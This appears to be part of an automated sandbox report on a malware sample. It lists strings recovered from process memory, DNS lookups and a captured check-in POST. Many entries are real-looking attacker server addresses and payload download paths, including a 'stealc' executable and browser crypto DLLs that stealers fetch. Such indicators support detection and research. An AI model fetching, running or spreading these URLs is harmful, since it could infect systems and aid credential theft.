Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3103512040.00000270E3DCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Z equals www.youtube.com (Youtube)
Source: bdb44f72d9.exe, 00000017.00000002.3287159999.00000000022A1000.00000004.00000020.00020000.00000000.sdmp, bdb44f72d9.exe, 0000001B.00000002.3336626547.0000000006678000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3087332031.00000270DDB69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: bdb44f72d9.exe, 0000001B.00000002.3336626547.0000000006678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account3"L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3031269537.00000270C9B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account@ equals www.youtube.com (Youtube)
Source: bdb44f72d9.exe, 0000001B.00000002.3336626547.0000000006678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountV,' equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountbrowser.newtabpage.enabled equals www.youtube.com (Youtube)
Source: bdb44f72d9.exe, 0000001B.00000002.3286301463.000000000211A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accounte' equals www.youtube.com (Youtube)
Source: bdb44f72d9.exe, 0000001B.00000002.3336626547.0000000006678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accounti" equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3031269537.00000270C9B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountt equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountvalidate/chromeModifiers< equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3115240088.000039E679900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3030250199.000001124EA00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.comZ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3033402856.00000270D62E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3078302717.00000270DC74B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.comvar(--link-color-hover) equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000003.3011652184.00000270E2344000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: moz-nullprincipal:{4f72cf2b-9aab-4bee-930a-ee40cebce880}?https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000027.00000002.3263744904.00000277E8E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Fir equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2952270255.00000158A7AC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: phttps://www.youtube.com/account --attempting-deelevation) equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: previousHandler.preferredAction.https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3077234042.00000270DC5B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tlsflags0x00000000:www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: bdb44f72d9.exe, 00000017.00000002.3336856611.0000000006699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: vs://www.youtube.com/account equals www.youtube.com (Youtube)
Source: bdb44f72d9.exe, 00000017.00000002.3336856611.0000000006699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: vs://www.youtube.com/accountz equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3030250199.000001124EA00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3067558634.00000270DB05D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3115240088.000039E679900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3115240088.000039E679900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3081525186.00000270DC9A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3046958834.00000270D881B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3030250199.000001124EA00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3030250199.000001124EA00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com/accountZ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3030250199.000001124EA00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comZ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3030250199.000001124EA00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com~ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3060815323.00000270DADB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3067558634.00000270DB024000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3060815323.00000270DADD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001E.00000002.3096588402.00000270E2065000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x.S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3106563989.00000270E4116000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2999210432.00000270E4118000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xO^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3033402856.00000270D62E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3083929588.00000270DCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3106563989.00000270E4116000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3047918500.00000270D8B94000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2999210432.00000270E4118000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3035541532.00000270D6C0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com/account@ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3033402856.00000270D62E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3077234042.00000270DC5B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xtlsflags0x00000000:www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.3105314081.00000270E4003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ~predictor-origin,:https://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDGIJJDGCBKFIDHIEBKHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 41 41 32 45 43 42 43 45 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 2d 2d 0d 0a Data Ascii: ------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="hwid"25AA2ECBCE684217651120------EHDGIJJDGCBKFIDHIEBKContent-Disposition: form-data; name="build"sila------EHDGIJJDGCBKFIDHIEBK--

Source: firefox.exe, 0000001E.00000002.3031269537.00000270C9B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3073075739.00000270DB8AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3073075739.00000270DB85A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3112345022.00000270E5C85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3111886581.00000270E5C59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3112345022.00000270E5C8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3111886581.00000270E5C70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3052950108.00000270DA46A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E2289000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: axplong.exe, 00000012.00000002.3256607765.000000000121A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: axplong.exe, 00000012.00000002.3256607765.000000000121A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000012.00000002.3256607765.0000000001248000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php#
Source: axplong.exe, 00000012.00000002.3256607765.000000000121A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php2?
Source: axplong.exe, 00000012.00000002.3256607765.000000000121A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php5
Source: axplong.exe, 00000012.00000002.3256607765.0000000001248000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpH
Source: axplong.exe, 00000012.00000002.3256607765.0000000001248000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpI
Source: axplong.exe, 00000012.00000002.3256607765.000000000121A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpR?-
Source: axplong.exe, 00000012.00000002.3256607765.0000000001248000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpY
Source: axplong.exe, 00000012.00000002.3256607765.000000000121A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpb?
Source: axplong.exe, 00000012.00000002.3256607765.000000000122F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpded
Source: axplong.exe, 00000012.00000002.3256607765.000000000121A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpi
Source: axplong.exe, 00000012.00000002.3256607765.0000000001248000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpn
Source: axplong.exe, 00000012.00000002.3256607765.000000000121A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpn?
Source: axplong.exe, 00000012.00000002.3256607765.000000000122F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded
Source: axplong.exe, 00000012.00000002.3256607765.000000000122F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded5
Source: axplong.exe, 00000012.00000002.3256607765.000000000121A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpv?
Source: axplong.exe, 00000012.00000002.3256607765.0000000001248000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpx
Source: axplong.exe, 00000012.00000002.3256607765.000000000122F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpzRm4SJjISZA3JNjZ64n0LR=
Source: file.exe, 00000000.00000002.2382069321.00000000024A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2382069321.00000000024E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2382069321.00000000024A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2382069321.00000000024E4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2396165975.0000000028D72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exe
Source: file.exe, 00000000.00000002.2396165975.0000000028D72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exe16/soka/random.exeN
Source: file.exe, 00000000.00000002.2382069321.00000000024E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.execZT
Source: explorti.exe, 00000013.00000002.3258303084.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exe
Source: explorti.exe, 00000013.00000002.3258303084.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exe13
Source: explorti.exe, 00000013.00000002.3258303084.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exeG
Source: explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exexd_
Source: axplong.exe, 00000012.00000002.3256607765.000000000121A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/ws
Source: explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/
Source: explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/15.113.19/
Source: explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/B
Source: explorti.exe, 00000013.00000002.3258303084.000000000159B000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000013.00000002.3258303084.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php
Source: explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php17001
Source: explorti.exe, 00000013.00000002.3258303084.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php6
Source: explorti.exe, 00000013.00000002.3258303084.0000000001648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpL
Source: explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpSeD
Source: explorti.exe, 00000013.00000002.3258303084.0000000001648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpU)(A;OICI;FA;;;SY)l
Source: explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpcbW
Source: explorti.exe, 00000013.00000002.3258303084.0000000001648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpft
Source: explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phptch
Source: explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpwb
Source: explorti.exe, 00000013.00000002.3258303084.0000000001648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpx
Source: explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/ferences.SourceAumid1
Source: explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/lfons
Source: explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/ons
Source: explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/ows
Source: file.exe, 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmp, 624f4d727e.exe, 00000014.00000002.2765136724.0000000002536000.00000004.00000020.00020000.00000000.sdmp, 624f4d727e.exe, 00000014.00000002.2764922026.000000000250E000.00000004.00000020.00020000.00000000.sdmp, 624f4d727e.exe, 00000018.00000002.2899807297.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31
Source: 624f4d727e.exe, 00000018.00000002.2899807297.0000000002621000.00000004.00000020.00020000.00000000.sdmp, 624f4d727e.exe, 00000018.00000002.2899807297.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/
Source: 624f4d727e.exe, 00000018.00000002.2899807297.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/%TZS
Source: file.exe, 00000000.00000002.2382069321.00000000024E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/2
Source: file.exe, 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmp, 624f4d727e.exe, 00000014.00000002.2765136724.000000000256B000.00000004.00000020.00020000.00000000.sdmp, 624f4d727e.exe, 00000014.00000002.2765136724.0000000002536000.00000004.00000020.00020000.00000000.sdmp, 624f4d727e.exe, 00000018.00000002.2899807297.0000000002621000.00000004.00000020.00020000.00000000.sdmp, 624f4d727e.exe, 00000018.00000002.2899807297.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php
Source: 624f4d727e.exe, 00000018.00000002.2899807297.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php#O%S
Source: 624f4d727e.exe, 00000014.00000002.2765136724.0000000002587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php1
Source: 624f4d727e.exe, 00000018.00000002.2899807297.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php6O
Source: 624f4d727e.exe, 00000018.00000002.2899807297.0000000002621000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php;
Source: 624f4d727e.exe, 00000014.00000002.2765136724.0000000002536000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php=uO6
Source: 624f4d727e.exe, 00000014.00000002.2765136724.0000000002587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpA
Source: file.exe, 00000000.00000002.2382069321.00000000024E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpL
Source: file.exe, 00000000.00000002.2396165975.0000000028D72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpM
Source: file.exe, 00000000.00000002.2396165975.0000000028D72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpN
Source: file.exe, 00000000.00000002.2382069321.00000000024A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpkZT
Source: file.exe, 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phposition:
Source: file.exe, 00000000.00000002.2396165975.0000000028D72000.00000004.00000020.00020000.00000000.sdmp, 624f4d727e.exe, 00000018.00000002.2899807297.0000000002621000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpr
Source: 624f4d727e.exe, 00000018.00000002.2899807297.0000000002621000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpt
Source: 624f4d727e.exe, 00000014.00000002.2765136724.000000000256B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpvWn
Source: 624f4d727e.exe, 00000014.00000002.2765136724.0000000002587000.00000004.00000020.00020000.00000000.sdmp, 624f4d727e.exe, 00000018.00000002.2899807297.0000000002621000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpx
Source: file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dll
Source: file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dll
Source: file.exe, 00000000.00000002.2382069321.00000000024A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/msvcp140.dll
Source: file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dll
Source: file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/nss3.dllD
Source: file.exe, 00000000.00000002.2382069321.00000000024A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/softokn3.dll
Source: file.exe, 00000000.00000002.2382069321.00000000024A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/softokn3.dll/
Source: file.exe, 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/sqlite3.dll
Source: file.exe, 00000000.00000002.2382069321.00000000024E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/vcruntime140.dll
Source: file.exe, 00000000.00000002.2382069321.00000000024E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/vcruntime140.dllRZT
Source: 624f4d727e.exe, 00000014.00000002.2765136724.000000000256B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/?
Source: 624f4d727e.exe, 00000014.00000002.2765136724.000000000256B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/AppData
Source: file.exe, 00000000.00000002.2382069321.00000000024E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/J
Source: 624f4d727e.exe, 00000014.00000002.2765136724.0000000002536000.00000004.00000020.00020000.00000000.sdmp, 624f4d727e.exe, 00000018.00000002.2899807297.0000000002621000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/SSC:
Source: 624f4d727e.exe, 00000018.00000002.2899807297.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/cal
Source: 624f4d727e.exe, 00000014.00000002.2765136724.000000000256B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/e
Source: 624f4d727e.exe, 00000018.00000002.2899807297.0000000002621000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/g
Source: 624f4d727e.exe, 00000014.00000002.2765136724.000000000256B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/o
Source: 624f4d727e.exe, 00000014.00000002.2765136724.000000000256B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/w
Source: file.exe, 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://85.28.47.315499d72b3a3e55be.phposition:
Source: 624f4d727e.exe, 00000018.00000002.2899807297.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.315TJS
Source: 624f4d727e.exe, 00000014.00000002.2765136724.000000000256B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31i
Source: 624f4d727e.exe, 00000014.00000002.2765136724.0000000002536000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31lfC
Source: 624f4d727e.exe, 00000018.00000002.2899807297.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31lyF
